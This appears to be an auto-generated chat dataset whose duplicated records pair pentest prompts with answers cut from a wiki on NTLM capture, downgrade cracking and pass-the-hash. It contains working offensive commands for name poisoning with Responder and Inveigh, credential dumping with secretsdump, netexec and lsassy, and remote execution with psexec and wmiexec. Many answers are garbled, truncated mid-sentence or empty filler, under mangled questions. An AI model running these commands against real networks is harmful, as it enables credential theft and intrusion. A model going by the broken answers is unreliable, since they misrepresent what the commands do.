[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Capture - Practice?

[Assistant]
> [!TIP]
> NTLM capture can be combined with any forced authentication attack. Testers should dissociate the name poisoning features that Responder and Inveigh offer from their capturing features. Those tools can be combined with others offering different "authentication forcing" attacks (like IPv6 + name poisoning, MS-RPRN abuse and so on).

Responder (Python) and Inveigh (Powershell) are great tools able to do name poisoning for forced authentication attacks, but also able to capture responses (LM or NTLM hashes) by starting servers waiting for incoming authentications. Once those listening servers are up and ready, the tester can initiate the forced authentication attack.

> [!TIP]
> In order to help the later cracking process, testers need to set the NTLM challenge sent to victims to 1122334455667788.
>
> For Inveigh, it can be defined with a command-line argument. For Responder, testers need to edit the configuration file.
>
> ``bash
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> `

::: tabs

=== Responder

From UNIX-like systems, Responder (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with --lm and --disable-ess in order to obtain NTLMv1 responses.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Capture - Practice?

Response:
> [!TIP]
> NTLM capture can be combined with any forced authentication attack. Testers should dissociate the name poisoning features that Responder and Inveigh offer from their capturing features. Those tools can be combined with others offering different "authentication forcing" attacks (like IPv6 + name poisoning, MS-RPRN abuse and so on).

Responder (Python) and Inveigh (Powershell) are great tools able to do name poisoning for forced authentication attacks, but also able to capture responses (LM or NTLM hashes) by starting servers waiting for incoming authentications. Once those listening servers are up and ready, the tester can initiate the forced authentication attack.

> [!TIP]
> In order to help the later cracking process, testers need to set the NTLM challenge sent to victims to 1122334455667788.
>
> For Inveigh, it can be defined with a command-line argument. For Responder, testers need to edit the configuration file.
>
> ``bash
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> `

::: tabs

=== Responder

From UNIX-like systems, Responder (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with --lm and --disable-ess in order to obtain NTLMv1 responses.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the sed command to capture - practice

[Assistant]
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> ```

::: tabs

=== Responder

From UNIX-like systems, [Responder](https://github.com/lgandx/Responder) (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with `--lm` and `--disable-ess` in order to obtain NTLMv1 responses.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the sed command to capture - practice

Response:
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> ```

::: tabs

=== Responder

From UNIX-like systems, [Responder](https://github.com/lgandx/Responder) (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with `--lm` and `--disable-ess` in order to obtain NTLMv1 responses.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Capture - Practice

[Assistant]
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> ```

::: tabs

=== Responder

From UNIX-like systems, [Responder](https://github.com/lgandx/Responder) (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with `--lm` and `--disable-ess` in order to obtain NTLMv1 responses.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Capture - Practice

Response:
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> ```

::: tabs

=== Responder

From UNIX-like systems, [Responder](https://github.com/lgandx/Responder) (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with `--lm` and `--disable-ess` in order to obtain NTLMv1 responses.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf`?

[Assistant] This command is used for capture - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf`?

Response: This command is used for capture - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does with downgrading work?

[Assistant]
responder --interface "eth0" --analyze --lm --disable-ess
``

Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with crack.sh. The ntlmv1-multi tool (Python) can be used to convert captured responses to crackable formats by hashcat, crack.sh and so on.

`bash
ntlmv1-multi --ntlmv1 SV01$::BREAKING.BAD:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:1122334455667788
`

> [!SUCCESS]
> Machine account NT hashes can be used with the Silver Ticket or S4U2self abuse techniques to gain admin access to it.

> [!TIP]
> There are cases where a downgrade attempt will fail and the capture authentication will not be shown. Testers should always try to capture authentication with and without downgrading.

=== Inveigh

Start poisoning LLMNR, NBT-NS and mDNS with a custom challenge, enable HTTPS capturing, enable proxy server authentication captures

`powershell
.\Inveigh.exe -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
responder --interface "eth0" --analyze --lm --disable-ess
``

Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with crack.sh. The ntlmv1-multi tool (Python) can be used to convert captured responses to crackable formats by hashcat, crack.sh and so on.

`bash
ntlmv1-multi --ntlmv1 SV01$::BREAKING.BAD:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:1122334455667788
`

> [!SUCCESS]
> Machine account NT hashes can be used with the Silver Ticket or S4U2self abuse techniques to gain admin access to it.

> [!TIP]
> There are cases where a downgrade attempt will fail and the capture authentication will not be shown. Testers should always try to capture authentication with and without downgrading.

=== Inveigh

Start poisoning LLMNR, NBT-NS and mDNS with a custom challenge, enable HTTPS capturing, enable proxy server authentication captures

`powershell
.\Inveigh.exe -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out with downgrading during a pentest?

[Assistant]
responder --interface "eth0" --analyze --lm --disable-ess
``

Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with crack.sh. The ntlmv1-multi tool (Python) can be used to convert captured responses to crackable formats by hashcat, crack.sh and so on.

`bash
ntlmv1-multi --ntlmv1 SV01$::BREAKING.BAD:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:1122334455667788
`

> [!SUCCESS]
> Machine account NT hashes can be used with the Silver Ticket or S4U2self abuse techniques to gain admin access to it.

> [!TIP]
> There are cases where a downgrade attempt will fail and the capture authentication will not be shown. Testers should always try to capture authentication with and without downgrading.

=== Inveigh

Start poisoning LLMNR, NBT-NS and mDNS with a custom challenge, enable HTTPS capturing, enable proxy server authentication captures

`powershell
.\Inveigh.exe -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out with downgrading during a pentest?

Response:
responder --interface "eth0" --analyze --lm --disable-ess
``

Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with crack.sh. The ntlmv1-multi tool (Python) can be used to convert captured responses to crackable formats by hashcat, crack.sh and so on.

`bash
ntlmv1-multi --ntlmv1 SV01$::BREAKING.BAD:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:1122334455667788
`

> [!SUCCESS]
> Machine account NT hashes can be used with the Silver Ticket or S4U2self abuse techniques to gain admin access to it.

> [!TIP]
> There are cases where a downgrade attempt will fail and the capture authentication will not be shown. Testers should always try to capture authentication with and without downgrading.

=== Inveigh

Start poisoning LLMNR, NBT-NS and mDNS with a custom challenge, enable HTTPS capturing, enable proxy server authentication captures

`powershell
.\Inveigh.exe -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Testers for with downgrading?

[Assistant] Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with [crack.sh](https://crack.sh/netntlm/). The [ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) tool (Python) can be used to convert captured responses to crackable formats by hashcat, [crack.sh](https://crack.sh/netntlm/) and so on.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Testers for with downgrading?

Response: Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with [crack.sh](https://crack.sh/netntlm/). The [ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) tool (Python) can be used to convert captured responses to crackable formats by hashcat, [crack.sh](https://crack.sh/netntlm/) and so on.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for with downgrading?

[Assistant] Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with [crack.sh](https://crack.sh/netntlm/). The [ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) tool (Python) can be used to convert captured responses to crackable formats by hashcat, [crack.sh](https://crack.sh/netntlm/) and so on.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for with downgrading?

Response: Testers should try to force a LM hashing downgrade with Responder. LM and NTLMv1 responses (a.k.a. LM/NTLMv1 hashes) from Responder can easily be cracked with [crack.sh](https://crack.sh/netntlm/). The [ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) tool (Python) can be used to convert captured responses to crackable formats by hashcat, [crack.sh](https://crack.sh/netntlm/) and so on.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for with downgrading

[Assistant]
> [!SUCCESS]
> Machine account NT hashes can be used with the [Silver Ticket](../kerberos/forged-tickets/silver.md) or [S4U2self abuse](../kerberos/delegations/s4u2self-abuse.md) techniques to gain admin access to it.

> [!TIP]
> There are cases where a downgrade attempt will fail and the capture authentication will not be shown. Testers should always try to capture authentication with and without downgrading.

=== Inveigh

Start poisoning LLMNR, NBT-NS and mDNS with a custom challenge, enable HTTPS capturing, enable proxy server authentication captures

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for with downgrading

Response:
> [!SUCCESS]
> Machine account NT hashes can be used with the [Silver Ticket](../kerberos/forged-tickets/silver.md) or [S4U2self abuse](../kerberos/delegations/s4u2self-abuse.md) techniques to gain admin access to it.

> [!TIP]
> There are cases where a downgrade attempt will fail and the capture authentication will not be shown. Testers should always try to capture authentication with and without downgrading.

=== Inveigh

Start poisoning LLMNR, NBT-NS and mDNS with a custom challenge, enable HTTPS capturing, enable proxy server authentication captures


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!SUCCESS]`?

[Assistant] This command is used for with downgrading. with downgrading

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `> [!SUCCESS]`?

Response: This command is used for with downgrading. with downgrading


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about NTLM - Theory

[Assistant]
> [!WARNING]
> A common error people do is mix LM, NT, NTLM, Net-NTLM etc. Let's make things clear. There are hashing formats used to store user passwords: LM, NT. And there are authentication protocols used to authenticate users to remote resources: LM, NTLMv1, and NTLMv2 (
source).
>
> * LM hash and NT hash will refer to the hashing formats
> * LM, NTLM(v1), and NTLMv2, will refer to the authentication protocols
> * LMv1 and LMv2 are response formats that clients return when responding to NTLM_CHALLENGE NTLMv1 and NTLMv2 messages, respectively.
>
> Yes.. this is confusing, but hey go tell this to Microsoft :triumph:

The LM (LAN Manager) and NTLM (New Technology LM) authentication protocols are widely used in today's Microsoft environments (but mostly NTLM). It relies on a challenge-response scheme based on three messages to authenticate. In order to prove its identity, the authenticating client is asked to compute a response based on multiple variables including:

* a random challenge sent by the server in a CHALLENGE_MESSAGE
* a secret key that is the hash of the user's password

The following table details the secret key used by each authentication protocols and the cryptographic algorithm used to compute the response (source).

| Authentication protocol | Algorithm (for the protocol) | Secret key |
| ----------------------- | ---------------------------- | ---------- |
| LM | DES-ECB | LM hash |
| NTLM | DES-ECB | NT hash |
| NTLMv2 | HMAC-MD5 | NT hash |

The following table details the hashing algorithm used by each hashing format in Windows that allows the system to transform the user's password in a non-reversible format.

| Hashing format | Algorithm (for the hash) |
| -------------- | ------------------------------------------------------------------------------------- |
| LM hash | based on DES (learn more) |
| NT hash | MD4 |

This is meant to protect the user's password from eavesdropping by implementing the "zero-knowledge proof" concept. Attackers

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!WARNING]
> A common error people do is mix LM, NT, NTLM, Net-NTLM etc. Let's make things clear. There are hashing formats used to store user passwords: LM, NT. And there are authentication protocols used to authenticate users to remote resources: LM, NTLMv1, and NTLMv2 (
source).
>
> * LM hash and NT hash will refer to the hashing formats
> * LM, NTLM(v1), and NTLMv2, will refer to the authentication protocols
> * LMv1 and LMv2 are response formats that clients return when responding to NTLM_CHALLENGE NTLMv1 and NTLMv2 messages, respectively.
>
> Yes.. this is confusing, but hey go tell this to Microsoft :triumph:

The LM (LAN Manager) and NTLM (New Technology LM) authentication protocols are widely used in today's Microsoft environments (but mostly NTLM). It relies on a challenge-response scheme based on three messages to authenticate. In order to prove its identity, the authenticating client is asked to compute a response based on multiple variables including:

* a random challenge sent by the server in a CHALLENGE_MESSAGE
* a secret key that is the hash of the user's password

The following table details the secret key used by each authentication protocols and the cryptographic algorithm used to compute the response (source).

| Authentication protocol | Algorithm (for the protocol) | Secret key |
| ----------------------- | ---------------------------- | ---------- |
| LM | DES-ECB | LM hash |
| NTLM | DES-ECB | NT hash |
| NTLMv2 | HMAC-MD5 | NT hash |

The following table details the hashing algorithm used by each hashing format in Windows that allows the system to transform the user's password in a non-reversible format.

| Hashing format | Algorithm (for the hash) |
| -------------- | ------------------------------------------------------------------------------------- |
| LM hash | based on DES (learn more) |
| NT hash | MD4 |

This is meant to protect the user's password from eavesdropping by implementing the "zero-knowledge proof" concept. Attackers


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for NTLM - Theory

[Assistant]
> [!WARNING]
> A common error people do is mix LM, NT, NTLM, Net-NTLM etc. Let's make things clear. There are hashing formats used to store user passwords: LM, NT. And there are authentication protocols used to authenticate users to remote resources: LM, NTLMv1, and NTLMv2 (
source).
>
> * LM hash and NT hash will refer to the hashing formats
> * LM, NTLM(v1), and NTLMv2, will refer to the authentication protocols
> * LMv1 and LMv2 are response formats that clients return when responding to NTLM_CHALLENGE NTLMv1 and NTLMv2 messages, respectively.
>
> Yes.. this is confusing, but hey go tell this to Microsoft :triumph:

The LM (LAN Manager) and NTLM (New Technology LM) authentication protocols are widely used in today's Microsoft environments (but mostly NTLM). It relies on a challenge-response scheme based on three messages to authenticate. In order to prove its identity, the authenticating client is asked to compute a response based on multiple variables including:

* a random challenge sent by the server in a CHALLENGE_MESSAGE
* a secret key that is the hash of the user's password

The following table details the secret key used by each authentication protocols and the cryptographic algorithm used to compute the response (source).

| Authentication protocol | Algorithm (for the protocol) | Secret key |
| ----------------------- | ---------------------------- | ---------- |
| LM | DES-ECB | LM hash |
| NTLM | DES-ECB | NT hash |
| NTLMv2 | HMAC-MD5 | NT hash |

The following table details the hashing algorithm used by each hashing format in Windows that allows the system to transform the user's password in a non-reversible format.

| Hashing format | Algorithm (for the hash) |
| -------------- | ------------------------------------------------------------------------------------- |
| LM hash | based on DES (learn more) |
| NT hash | MD4 |

This is meant to protect the user's password from eavesdropping by implementing the "zero-knowledge proof" concept. Attackers

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for NTLM - Theory

Response:
> [!WARNING]
> A common error people do is mix LM, NT, NTLM, Net-NTLM etc. Let's make things clear. There are hashing formats used to store user passwords: LM, NT. And there are authentication protocols used to authenticate users to remote resources: LM, NTLMv1, and NTLMv2 (
source).
>
> * LM hash and NT hash will refer to the hashing formats
> * LM, NTLM(v1), and NTLMv2, will refer to the authentication protocols
> * LMv1 and LMv2 are response formats that clients return when responding to NTLM_CHALLENGE NTLMv1 and NTLMv2 messages, respectively.
>
> Yes.. this is confusing, but hey go tell this to Microsoft :triumph:

The LM (LAN Manager) and NTLM (New Technology LM) authentication protocols are widely used in today's Microsoft environments (but mostly NTLM). It relies on a challenge-response scheme based on three messages to authenticate. In order to prove its identity, the authenticating client is asked to compute a response based on multiple variables including:

* a random challenge sent by the server in a CHALLENGE_MESSAGE
* a secret key that is the hash of the user's password

The following table details the secret key used by each authentication protocols and the cryptographic algorithm used to compute the response (source).

| Authentication protocol | Algorithm (for the protocol) | Secret key |
| ----------------------- | ---------------------------- | ---------- |
| LM | DES-ECB | LM hash |
| NTLM | DES-ECB | NT hash |
| NTLMv2 | HMAC-MD5 | NT hash |

The following table details the hashing algorithm used by each hashing format in Windows that allows the system to transform the user's password in a non-reversible format.

| Hashing format | Algorithm (for the hash) |
| -------------- | ------------------------------------------------------------------------------------- |
| LM hash | based on DES (learn more) |
| NT hash | MD4 |

This is meant to protect the user's password from eavesdropping by implementing the "zero-knowledge proof" concept. Attackers


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Pass the hash - Theory in the context of penetration testing

[Assistant] An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Pass the hash - Theory in the context of penetration testing

Response: An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Pass the hash - Theory

[Assistant] An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Pass the hash - Theory

Response: An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Pass the hash - Practice

[Assistant]
There are many tools that implement pass-the-hash: Impacket scripts (Python) (psexec, smbexec, secretsdump...), NetExec (Python), FreeRDP (C), mimikatz (C), lsassy (Python), pth-toolkit (Python) and many more.

::: tabs

=== Credentials dumping

The Impacket script secretsdump (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).

``bash
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS
`

=== Command execution

Some Impacket scripts enable testers to execute commands on target systems with pass-the-hash (LMhash can be empty).

`bash
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
There are many tools that implement pass-the-hash: Impacket scripts (Python) (psexec, smbexec, secretsdump...), NetExec (Python), FreeRDP (C), mimikatz (C), lsassy (Python), pth-toolkit (Python) and many more.

::: tabs

=== Credentials dumping

The Impacket script secretsdump (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).

``bash
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS
`

=== Command execution

Some Impacket scripts enable testers to execute commands on target systems with pass-the-hash (LMhash can be empty).

`bash
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the hash - Practice

[Assistant]
There are many tools that implement pass-the-hash: Impacket scripts (Python) (psexec, smbexec, secretsdump...), NetExec (Python), FreeRDP (C), mimikatz (C), lsassy (Python), pth-toolkit (Python) and many more.

::: tabs

=== Credentials dumping

The Impacket script secretsdump (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).

``bash
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS
`

=== Command execution

Some Impacket scripts enable testers to execute commands on target systems with pass-the-hash (LMhash can be empty).

`bash
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Pass the hash - Practice

Response:
There are many tools that implement pass-the-hash: Impacket scripts (Python) (psexec, smbexec, secretsdump...), NetExec (Python), FreeRDP (C), mimikatz (C), lsassy (Python), pth-toolkit (Python) and many more.

::: tabs

=== Credentials dumping

The Impacket script secretsdump (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).

``bash
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
